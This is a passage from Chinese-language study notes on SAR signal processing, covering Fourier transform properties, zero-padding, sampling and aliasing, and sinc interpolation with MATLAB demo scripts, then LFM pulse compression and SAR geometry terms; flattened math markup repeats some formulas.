匹配滤波（脉压/方位压缩）常在频域用“点乘”实现；时域乘窗 <span><span>⇒\Rightarrow</span><span><span><span></span><span>⇒</span></span></span></span> 频域与 sinc 类核卷积（谱泄漏/旁瓣）。</p><p>（9）补零</p><p><strong>核心：</strong> 对长度 N 的序列x[n] 在末尾补零到 L&gt;N 并做 L 点 DFT：<span><span>XL[k]=∑n=0L−1xzp[n]e−j2πkn/L=∑n=0N−1x[n]e−j2πkn/L=X ⁣(ejω)∣ω=2πk/L.X_L[k]=\sum_{n=0}^{L-1}x_{\text{zp}}[n]e^{-j2\pi kn/L} =\sum_{n=0}^{N-1}x[n]e^{-j2\pi kn/L}=X\!\left(e^{j\omega}\right)\big|_{\omega=2\pi k/L}.</span><span><span><span></span><span><span>X</span><span><span><span><span><span><span></span><span><span>L</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>[</span><span>k</span><span>]</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∑</span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span><span>L</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span><span><span>zp</span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>[</span><span>n</span><span>]</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>2</span><span>π</span><span>k</span><span>n</span><span>/</span><span>L</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>∑</span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span><span>N</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>x</span><span>[</span><span>n</span><span>]</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>2</span><span>π</span><span>k</span><span>n</span><span>/</span><span>L</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>X</span><span></span><span></span><span><span><span>(</span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>ω</span></span></span></span></span></span></span></span></span><span><span>)</span></span></span><span></span><span><span><span><span><span><span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span><span><span><span><span></span><span><span><span>ω</span><span>=</span><span>2</span><span>π</span><span>k</span><span>/</span><span>L</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>.</span></span></span></span></p><p>这等价于<strong>在频域更密集采样 DTFT</strong>（<strong>插值光滑</strong>），并<strong>不增加新信息</strong>。</p><p><strong>含义：</strong> 细化距离/方位向像素间隔（视觉上更平滑、便于峰值定位），但不提升真正分辨率；配合峰值插值用于亚像素估计、RVP 补偿等。</p><p>（10）二维扭曲和旋转</p><p><strong>含义：</strong> Keystone 变换、距离-多普勒耦合校正、本振漂移校正等常本质上是 2D 线性变换（剪切/缩放/旋转）在某个域（时-频或频-频）内的实现。</p></section><section><h4>2.3.4 傅立叶变换示例<a href="#234-傅立叶变换示例"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% demo_rect_sinc_FT.m</span></div></div><div><div><div>2</div></div><div><span>% 演示：rect(t/T) &lt;-&gt; T*sinc(f*T)；sinc(t/T) &lt;-&gt; T*rect(f*T)</span></div></div><div><div><div>3</div></div><div><span>% 采用 Fourier 变换定义：X(f) = ∫ x(t) e^{-j2π f t} dt  ，频率单位 Hz</span></div></div><div><div><div>4</div></div><div><span>% 说明：</span></div></div><div><div><div>5</div></div><div><span>% 1) 数值CTFT用：X_fft ≈ Δt * FFT{x(t)} 并做fftshift，频率栅格 f = (-N/2:N/2-1)/(N*Δt)</span></div></div><div><div><div>6</div></div><div><span>% 2) MATLAB中使用"归一化 sinc"定义：sinc(u) = sin(pi*u)/(pi*u)</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>clear; close all; clc;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>%% 公用参数（时间窗、采样与频率轴）</span></div></div><div><div><div>11</div></div><div><span>Trect = 1;            % 矩形脉宽（秒）——可自行修改</span></div></div><div><div><div>12</div></div><div><span>L = 16*Trect;         % 总观察时长（越长，频域越细 &amp; 截断效应越小）</span></div></div><div><div><div>13</div></div><div><span>N = 2^15;             % 采样点数（越大，频率分辨率越高）</span></div></div><div><div><div>14</div></div><div><span>dt = L/N;             % 采样间隔</span></div></div><div><div><div>15</div></div><div><span>t = (-N/2:N/2-1).' * dt;      % 对称时间轴，列向量</span></div></div><div><div><div>16</div></div><div><span>[f,~] = make_freq_axis(N, dt); % 频率轴（Hz）</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>% 自定义函数句柄（避免工具箱依赖）</span></div></div><div><div><div>19</div></div><div><span>sincn = @(u) sin(pi*u)./(pi*u); % 归一化sinc，u=0处稍后单独处理</span></div></div><div><div><div>20</div></div><div><span>rectp = @(x,Tw) double(abs(x) &lt; Tw/2) + 0.5*double(abs(x) == Tw/2); % 矩形脉冲</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>%% --------------------- 示例 1：矩形 -&gt; sinc ---------------------</span></div></div><div><div><div>23</div></div><div><span>x1 = rectp(t, Trect);                        % x1(t) = rect(t/Trect)</span></div></div><div><div><div>24</div></div><div><span>X1_num = ctft_fft(x1, dt);                   % 数值CTFT近似</span></div></div><div><div><div>25</div></div><div><span>X1_ana = Trect * safe_sinc(f*Trect, sincn);  % 解析：T * sinc(f*T)</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>figure('Name','Rect &lt;-&gt; Sinc','Color','w');</span></div></div><div><div><div>28</div></div><div><span>tiledlayout(2,2,"Padding","compact","TileSpacing","compact");</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>% 时域</span></div></div><div><div><div>31</div></div><div><span>nexttile; plot(t, x1, 'LineWidth', 1); grid on;</span></div></div><div><div><div>32</div></div><div><span>xlabel('t (s)'); ylabel('x_1(t)'); title('Rect：x_1(t)=rect(t/T)');</span></div></div><div><div><div>33</div></div><div><span>xlim([-1.5*Trect, 1.5*Trect]);</span></div></div><div><div><div>34</div></div><div>
</div></div><div><div><div>35</div></div><div><span>% 频域幅度</span></div></div><div><div><div>36</div></div><div><span>nexttile; plot(f, abs(X1_num), 'LineWidth', 1); hold on;</span></div></div><div><div><div>37</div></div><div><span>plot(f, abs(X1_ana), '--', 'LineWidth', 1);</span></div></div><div><div><div>38</div></div><div><span>grid on; xlabel('f (Hz)'); ylabel('|X_1(f)|');</span></div></div><div><div><div>39</div></div><div><span>title('FT 幅度：数值 vs 解析'); legend('Numerical (FFT)','Analytic','Location','best');</span></div></div><div><div><div>40</div></div><div><span>xlim([-10/Trect, 10/Trect]);</span></div></div><div><div><div>41</div></div><div>
</div></div><div><div><div>42</div></div><div><span>% 频域相位（只在幅度较大处显示更有意义）</span></div></div><div><div><div>43</div></div><div><span>mask = abs(X1_ana) &gt; 1e-2*max(abs(X1_ana));</span></div></div><div><div><div>44</div></div><div><span>nexttile; plot(f(mask), angle(X1_num(mask)), '.', 'MarkerSize', 6); grid on;</span></div></div><div><div><div>45</div></div><div><span>xlabel('f (Hz)'); ylabel('∠X_1(f) (rad)'); title('FT 相位（数值）');</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span>% 误差</span></div></div><div><div><div>48</div></div><div><span>nexttile; plot(f, abs(X1_num - X1_ana), 'LineWidth', 1); grid on;</span></div></div><div><div><div>49</div></div><div><span>xlabel('f (Hz)'); ylabel('|X_{num}-X_{ana}|'); title('数值-解析 误差');</span></div></div><div><div><div>50</div></div><div><span>xlim([-10/Trect, 10/Trect]);</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><img alt="" loading="lazy" width="1564" height="992" src="/_astro/image-05-a3c7b1480d6b.DhsyZXge_Z1OhQbF.webp" /></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% --------------------- 示例 2：sinc -&gt; 矩形 ---------------------</span></div></div><div><div><div>2</div></div><div><span>Tsinc = 0.25*Trect;               % sinc 的时间尺度，可改</span></div></div><div><div><div>3</div></div><div><span>x2 = safe_sinc(t/Tsinc, sincn);    % x2(t) = sinc(t/Tsinc)</span></div></div><div><div><div>4</div></div><div><span>X2_num = ctft_fft(x2, dt);         % 数值CTFT近似</span></div></div><div><div><div>5</div></div><div><span>% 解析：T * rect(f*T) ；rect(f*T) 的宽度为 1/T</span></div></div><div><div><div>6</div></div><div><span>X2_ana = Tsinc * rectp(f, 1/Tsinc);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>figure('Name','Sinc &lt;-&gt; Rect','Color','w');</span></div></div><div><div><div>9</div></div><div><span>tiledlayout(2,2,"Padding","compact","TileSpacing","compact");</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>% 时域</span></div></div><div><div><div>12</div></div><div><span>nexttile; plot(t, x2, 'LineWidth', 1); grid on;</span></div></div><div><div><div>13</div></div><div><span>xlabel('t (s)'); ylabel('x_2(t)'); title('Sinc：x_2(t)=sinc(t/T_s)');</span></div></div><div><div><div>14</div></div><div><span>xlim([-6*Tsinc, 6*Tsinc]);</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>% 频域幅度</span></div></div><div><div><div>17</div></div><div><span>nexttile; plot(f, abs(X2_num), 'LineWidth', 1); hold on;</span></div></div><div><div><div>18</div></div><div><span>plot(f, abs(X2_ana), '--', 'LineWidth', 1);</span></div></div><div><div><div>19</div></div><div><span>grid on; xlabel('f (Hz)'); ylabel('|X_2(f)|');</span></div></div><div><div><div>20</div></div><div><span>title('FT 幅度：数值 vs 解析'); legend('Numerical (FFT)','Analytic','Location','best');</span></div></div><div><div><div>21</div></div><div><span>xlim([-3/Tsinc, 3/Tsinc]);</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>% 频域相位（矩形为实非负，解析相位≈0；数值会因截断略波动）</span></div></div><div><div><div>24</div></div><div><span>mask2 = abs(X2_ana) &gt; 1e-3*max(abs(X2_ana));</span></div></div><div><div><div>25</div></div><div><span>nexttile; plot(f(mask2), angle(X2_num(mask2)), '.', 'MarkerSize', 6); grid on;</span></div></div><div><div><div>26</div></div><div><span>xlabel('f (Hz)'); ylabel('∠X_2(f) (rad)'); title('FT 相位（数值）');</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>% 误差</span></div></div><div><div><div>29</div></div><div><span>nexttile; plot(f, abs(X2_num - X2_ana), 'LineWidth', 1); grid on;</span></div></div><div><div><div>30</div></div><div><span>xlabel('f (Hz)'); ylabel('|X_{num}-X_{ana}|'); title('数值-解析 误差');</span></div></div><div><div><div>31</div></div><div><span>xlim([-3/Tsinc, 3/Tsinc]);</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>%% ---------- 备注 ----------</span></div></div><div><div><div>34</div></div><div><span>% - 增大 L 与 N 可减小截断/采样误差（特别是 sinc 的无限支撑会被时间窗截断）。</span></div></div><div><div><div>35</div></div><div><span>% - 若只做DFT演示，可去掉 Δt 标度，此处的 Δt 标度是为了逼近连续型积分定义。</span></div></div><div><div><div>36</div></div><div><span>% - 本脚本不依赖专用工具箱；如有 Signal Processing Toolbox，也可用 rectpuls/sinc 直接替代。</span></div></div><div><div><div>37</div></div><div>
</div></div><div><div><div>38</div></div><div><span>%% ===================== 辅助函数 =====================</span></div></div><div><div><div>39</div></div><div><span>function [f, df] = make_freq_axis(N, dt)</span></div></div><div><div><div>40</div></div><div><span><span>    </span></span><span>df = 1/(N*dt);</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>f = ((-N/2):(N/2-1)).' * df;</span></div></div><div><div><div>42</div></div><div><span>end</span></div></div><div><div><div>43</div></div><div>
</div></div><div><div><div>44</div></div><div><span>function X = ctft_fft(x, dt)</span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>% 近似 CTFT：X(f) ≈ Δt * FFTshift( FFT( IFFTshift{x(t)} ) )</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>X = fftshift( fft( ifftshift(x) ) ) * dt;</span></div></div><div><div><div>47</div></div><div><span>end</span></div></div><div><div><div>48</div></div><div>
</div></div><div><div><div>49</div></div><div><span>function y = safe_sinc(u, sincn)</span></div></div><div><div><div>50</div></div><div><span><span>    </span></span><span>% 处理 u=0 处的 0/0</span></div></div><div><div><div>51</div></div><div><span><span>    </span></span><span>y = sincn(u);</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>y(u==0) = 1;</span></div></div><div><div><div>53</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/upload/Rect%20%3C-%3E%20Sinc-pPbJ.png" alt="Rect &lt;-&gt; Sinc-pPbJ.png" /><figcaption>Rect &lt;-&gt; Sinc-pPbJ.png</figcaption></figure><p></p></section></section><section><h3>2.4 卷积的离散傅立叶变换计算<a href="#24-卷积的离散傅立叶变换计算"><span>#</span></a></h3><p>弃置点 源自循环卷积卷绕错误的点</p><p>补零 为了避免错误输出，将两个序列长度都延拓补零至<span><span>N=n1+n2−1N=n_1+n_2-1</span><span><span><span></span><span>N</span><span></span><span>=</span><span></span></span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span>，其中<span><span>n1n_1</span><span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 和<span><span>n2n_2</span><span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 为序列初始长度。</p><p>为了提高效率，DFT长度N通常选为2的幂。</p></section><section><h3>2.5 信号采样<a href="#25-信号采样"><span>#</span></a></h3><p>采样要求与信号类型有关。</p><section><h4>2.5.2 信号类型<a href="#252-信号类型"><span>#</span></a></h4><p><strong>实信号与复信号</strong></p><p>复解调过程（正交解调）将实信号转换为含有相同信息的复信号。</p><p><strong>信号带宽</strong></p><p>如果信号的最高频率为<span><span>f2f_2</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，最低（正）频率为<span><span>f1f_1</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>，则信号带宽为<span><span>f2−f1f_2-f_1</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p><p><strong>基本频率范围</strong></p><p>指能完整保存信号信息的最低频率集合。</p><p><strong>基带和非基带信号</strong></p><p>对于实信号，基带信号是指最低正频相对于宽带很小的信号。</p><p>对于复信号，基带信号是指在一定的采样率下，连续信号的主要能量完全集中在基本范围内的信号。</p></section><section><h4>2.5.3 奈奎斯特采样率和混叠<a href="#253-奈奎斯特采样率和混叠"><span>#</span></a></h4><p>实信号采样</p><p>奈奎斯特采样率 对于有限带宽的连续基带信号，为使采样能正确描述信号信息，采样率必须高于最高信号频率的两倍，该最小采样率。</p><p>非基带实信号</p><p>奈奎斯特采样定理 采样率必须高于非基带实信号带宽的两倍。</p><p>复信号采样</p><p>混叠方程</p><span><span><span>FapparentcomplexF_apparent_complex</span><span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>pp</span><span>a</span><span>r</span><span>e</span><span>n</span><span><span>t</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>o</span><span>m</span><span>pl</span><span>e</span><span>x</span></span></span></span></span></section></section><section><h3>2.6 平滑窗<a href="#26-平滑窗"><span>#</span></a></h3></section><section><h3>2.7 插值<a href="#27-插值"><span>#</span></a></h3><section><h4>2.7.1 sinc插值<a href="#271-sinc插值"><span>#</span></a></h4><section><h5><strong>例子一：理想（无限长核）sinc 插值</strong><a href="#例子一理想无限长核sinc-插值"><span>#</span></a></h5><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 1) 造一个带限离散信号（两条正弦，最高归一化频率 0.35 cycles/sample &lt; 0.5）</span></div></div><div><div><div>2</div></div><div><span>n = -20:20;                   % 离散时间索引</span></div></div><div><div><div>3</div></div><div><span>T = 1;                        % 采样周期（先用 1，方便演示）</span></div></div><div><div><div>4</div></div><div><span>x = cos(2*pi*0.10*n) + 0.5*sin(2*pi*0.35*n);  % 原离散样本 x[n]</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>%% 2) 准备要重构的“连续时间”细网格（这里做 16 倍细化）</span></div></div><div><div><div>7</div></div><div><span>L = 16;                                        % 细化倍数</span></div></div><div><div><div>8</div></div><div><span>t = linspace(n(1), n(end), (numel(n)-1)*L + 1);% 连续时间网格，单位同 n*T</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>%% 3) 理想 sinc 插值（矢量化实现）</span></div></div><div><div><div>11</div></div><div><span>% 公式：x_rec(t) = sum_k x[k] * sinc( (t - k*T)/T )</span></div></div><div><div><div>12</div></div><div><span>[tt, nn] = ndgrid(t, n);       % 生成所有 (t, n) 配对</span></div></div><div><div><div>13</div></div><div><span>S = sinc((tt - nn*T)/T);       % 权重矩阵（无限长 sinc）</span></div></div><div><div><div>14</div></div><div><span>x_rec = S * x(:);              % 对每个 t 做加权求和</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>%% 4) 可视化</span></div></div><div><div><div>17</div></div><div><span>figure; clf</span></div></div><div><div><div>18</div></div><div><span>subplot(2,1,1);</span></div></div><div><div><div>19</div></div><div><span>stem(n*T, x, 'filled'); hold on; grid on</span></div></div><div><div><div>20</div></div><div><span>plot(t, x_rec, 'LineWidth', 1.5);</span></div></div><div><div><div>21</div></div><div><span>xlabel('t'); ylabel('幅度');</span></div></div><div><div><div>22</div></div><div><span>legend('原始 x[n]','sinc 重构 x(t)');</span></div></div><div><div><div>23</div></div><div><span>title('理想 sinc 插值（无限长核）');</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span>%% 5) 和常见插值比较（可选）</span></div></div><div><div><div>26</div></div><div><span>subplot(2,1,2);</span></div></div><div><div><div>27</div></div><div><span>plot(t, x_rec, 'LineWidth', 1.5); hold on; grid on</span></div></div><div><div><div>28</div></div><div><span>x_lin = interp1(n*T, x, t, 'linear');      % 线性插值</span></div></div><div><div><div>29</div></div><div><span>x_spl = interp1(n*T, x, t, 'spline');      % 三次样条</span></div></div><div><div><div>30</div></div><div><span>plot(t, x_lin, '--');</span></div></div><div><div><div>31</div></div><div><span>plot(t, x_spl, ':', 'LineWidth', 1.2);</span></div></div><div><div><div>32</div></div><div><span>legend('sinc','linear','spline');</span></div></div><div><div><div>33</div></div><div><span>xlabel('t'); ylabel('幅度');</span></div></div><div><div><div>34</div></div><div><span>title('不同插值方式对比');</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/upload/3b9350a8-61f1-4f11-97c6-1dba2a72b287.PNG" alt="3b9350a8-61f1-4f11-97c6-1dba2a72b287.PNG" /><figcaption>3b9350a8-61f1-4f11-97c6-1dba2a72b287.PNG</figcaption></figure><p></p><p><strong>要点说明：</strong></p><ul>
<li>
<p>这是“数学上的理想重构”，要求已知<strong>全体</strong>样本（核无限长）。实际中我们只有有限段，因此<strong>边缘附近</strong>会有误差和振铃（Gibbs-like），图上可见两端略差。</p>
</li>
<li>
<p>S*x(:) 是把每个 t 的权重与所有样本做一次内积，因此是 <span><span>O(N⋅Nout)O(N\cdot N_\text{out})</span><span><span><span></span><span>O</span><span>(</span><span>N</span><span></span><span>⋅</span><span></span></span><span><span></span><span><span>N</span><span><span><span><span><span><span></span><span><span><span>out</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span> 的计算量，<span><span>NoutN_out</span><span><span><span></span><span><span>N</span><span><span><span><span><span><span></span><span><span>o</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>u</span><span>t</span></span></span></span> 是细网格点数。</p>
</li>
</ul></section><section><h5><strong>例子二：工程常用的“窗化 + 截断”sinc（有限核）</strong><a href="#例子二工程常用的窗化--截断sinc有限核"><span>#</span></a></h5><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 参数</span></div></div><div><div><div>2</div></div><div><span>R = 8;                 % 每侧截断长度（共 2R+1 个 taps）</span></div></div><div><div><div>3</div></div><div><span>useWindow = true;      % 是否使用窗函数（Hamming）</span></div></div><div><div><div>4</div></div><div><span>% 继续沿用上例中的 n, T, x, t</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>% 预分配</span></div></div><div><div><div>7</div></div><div><span>x_rec_win = zeros(size(t));</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>% 预先生成窗（对 |k|&lt;=R 的离散 offset）</span></div></div><div><div><div>10</div></div><div><span>k = -R:R;</span></div></div><div><div><div>11</div></div><div><span>if useWindow</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>win = hamming(2*R+1).';     % 行向量</span></div></div><div><div><div>13</div></div><div><span>else</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>win = ones(1, 2*R+1);</span></div></div><div><div><div>15</div></div><div><span>end</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>% 对每个 t 只与附近 2R+1 个样本相乘求和（简单直观的写法）</span></div></div><div><div><div>18</div></div><div><span>for ii = 1:numel(t)</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>tc = t(ii)/T;               % 以样本间隔为单位的连续时间</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>n0 = floor(tc);             % 最近的样本整数索引</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>idx = n0 + k;               % 邻域样本索引</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>% 限制索引在有效范围内</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>valid = (idx &gt;= n(1)) &amp; (idx &lt;= n(end));</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>idxv = idx(valid);</span></div></div><div><div><div>25</div></div><div>
</div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>% 计算对应的 sinc 权重并加窗</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>w = sinc( (t(ii) - idxv*T)/T );         % 核</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>% 对应的窗系数（按 k 的 valid 子集选择）</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>wwin = win(valid);</span></div></div><div><div><div>30</div></div><div>
</div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>% 汇总求和</span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>xv = x( idxv - n(1) + 1 );              % 取样本值（索引换算）</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>x_rec_win(ii) = sum( xv .* w .* wwin );</span></div></div><div><div><div>34</div></div><div><span>end</span></div></div><div><div><div>35</div></div><div>
</div></div><div><div><div>36</div></div><div><span>%% 绘图对比</span></div></div><div><div><div>37</div></div><div><span>figure; clf; grid on; hold on</span></div></div><div><div><div>38</div></div><div><span>plot(t, x_rec, 'LineWidth', 1.5);                 % 无限长（理论参考）</span></div></div><div><div><div>39</div></div><div><span>plot(t, x_rec_win, '--', 'LineWidth', 1.5);       % 窗化截断</span></div></div><div><div><div>40</div></div><div><span>stem(n*T, x, 'filled');</span></div></div><div><div><div>41</div></div><div><span>legend('理想 sinc','窗化截断 sinc','原样本','Location','best');</span></div></div><div><div><div>42</div></div><div><span>xlabel('t'); ylabel('幅度');</span></div></div><div><div><div>43</div></div><div><span>title(sprintf('窗化截断 sinc（R=%d, %s 窗）', R, ternary(useWindow,'Hamming','Rect')));</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/upload/Picture1.png" alt="Picture1.png" /><figcaption>Picture1.png</figcaption></figure><p></p><p><strong>工程实践建议：</strong></p><ul>
<li>
<p>R 取 6–16 通常就很不错；R 越大，越接近理想，但计算量上升。</p>
</li>
<li>
<p>常见窗：Hamming（折中）、Blackman（旁瓣更低）、Kaiser（可调参数 β）。把 win = kaiser(2*R+1, beta).’ 即可试不同 β。</p>
</li>
<li>
<p>插值越接近区间中部效果越好，<strong>最边缘</strong>仍会比理想解差一些（因为缺失“无限远”的样本）。</p>
</li>
</ul></section></section></section><section><h3>2.8 点目标分析<a href="#28-点目标分析"><span>#</span></a></h3><p>峰值旁瓣比（PSLR）最大旁瓣与主瓣的高度比</p></section></section><section><h2>第三章 线性调频信号的脉冲压缩<a href="#第三章-线性调频信号的脉冲压缩"><span>#</span></a></h2><section><h3>3.1 概述<a href="#31-概述"><span>#</span></a></h3><p>脉冲压缩 一种频谱扩展方法，用于最小化峰值功率、最大化信噪比，以及获得高分辨率目标（如获得高灵敏度的目标检测能力或良好的图像质量）。</p></section><section><h3>3.2 线性调频信号<a href="#32-线性调频信号"><span>#</span></a></h3><p>瞬时频率是时间的线性函数，这种信号用于发射，以得到均匀的信号带宽，其在接受信号中则来自传感器运动。3.2.1 时域表达</p><p>当<span><span>fcenf_{\text{cen}}</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span><span><span>cen</span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 为0时，信号的复数形式为<span><span>s(t)=rect(tT)exp⁡jπKt2s(t)=rect(\frac{t}{T})\exp{{j{\pi}Kt^2}}</span><span><span><span></span><span>s</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>r</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>T</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>t</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span></span><span>exp</span><span></span><span><span><span>j</span><span><span>π</span></span><span>K</span><span><span>t</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p><img alt="" loading="lazy" width="1176" height="1022" src="/_astro/image-09-af10734286e6.39K0H2Q0_Z5XF6F.webp" /></p><section><h4>3.2.2 线性调频脉冲的频谱<a href="#322-线性调频脉冲的频谱"><span>#</span></a></h4></section></section><section><h3>3.3 脉冲压缩<a href="#33-脉冲压缩"><span>#</span></a></h3><section><h4>3.3.1 脉冲压缩原理<a href="#331-脉冲压缩原理"><span>#</span></a></h4><p>如果发射脉冲的持续时间为T，则每一目标在回波数据中占据相同的时间间隔T，故压缩前的可分辨能力为<span><span>ρ′=T\rho'=T</span><span><span><span></span><span><span>ρ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>T</span></span></span></span></p></section></section></section><section><h2>第四章 合成孔径的概念<a href="#第四章-合成孔径的概念"><span>#</span></a></h2><p>SAR信号处理的核心思想：基于对SAR回波信号进行距离向和方位向上的匹配滤波。</p><section><h3>4.2 SAR几何关系<a href="#42-sar几何关系"><span>#</span></a></h3><section><h4>4.2.1 术语定义<a href="#421-术语定义"><span>#</span></a></h4><p>Massonnet 提出的“干涉轮”多基站结构，指的是一种用于星载 SAR 干涉测量的特殊多星座编队构型，一般英文称为 <strong>Interferometric Cartwheel / Interferometric Wheel</strong>。</p><blockquote><p>以一颗主动发射雷达卫星为中心，在其附近部署若干被动接收小卫星，这些小卫星沿着经过精心设计的椭圆轨道，在主星周围形成类似“轮子”的空间编队，从而在整个轨道周期内获得多条稳定的干涉基线，实现多基线 InSAR。</p></blockquote><p><img alt="" loading="lazy" width="2575" height="1695" src="/_astro/image-10-5de6c03f7ec1._oIwoSrd_Z5mfqL.webp" /></p><p><strong>目标</strong> 目标是被SAR照射的地球表面上的一个假想点。</p><p><strong>波束覆盖区</strong> 在某个脉冲的发射过程中，雷达天线的波束投影到地面的某个区域，称其为波束覆盖区。</p><p><strong>星下点</strong> 星下点是直接位于传感器下方的地表点，所以星下点至传感器的连线是地球表面的法线。</p></section><section><h4>4.2.2 卫星地距几何<a href="#422-卫星地距几何"><span>#</span></a></h4><p>在斜距角为零、地球局部近似为球面的情况下，斜距与地距的坐标关系如图所示。</p><p>对于特定的雷达模式，斜距采样间隔<span><span>ΔR\Delta 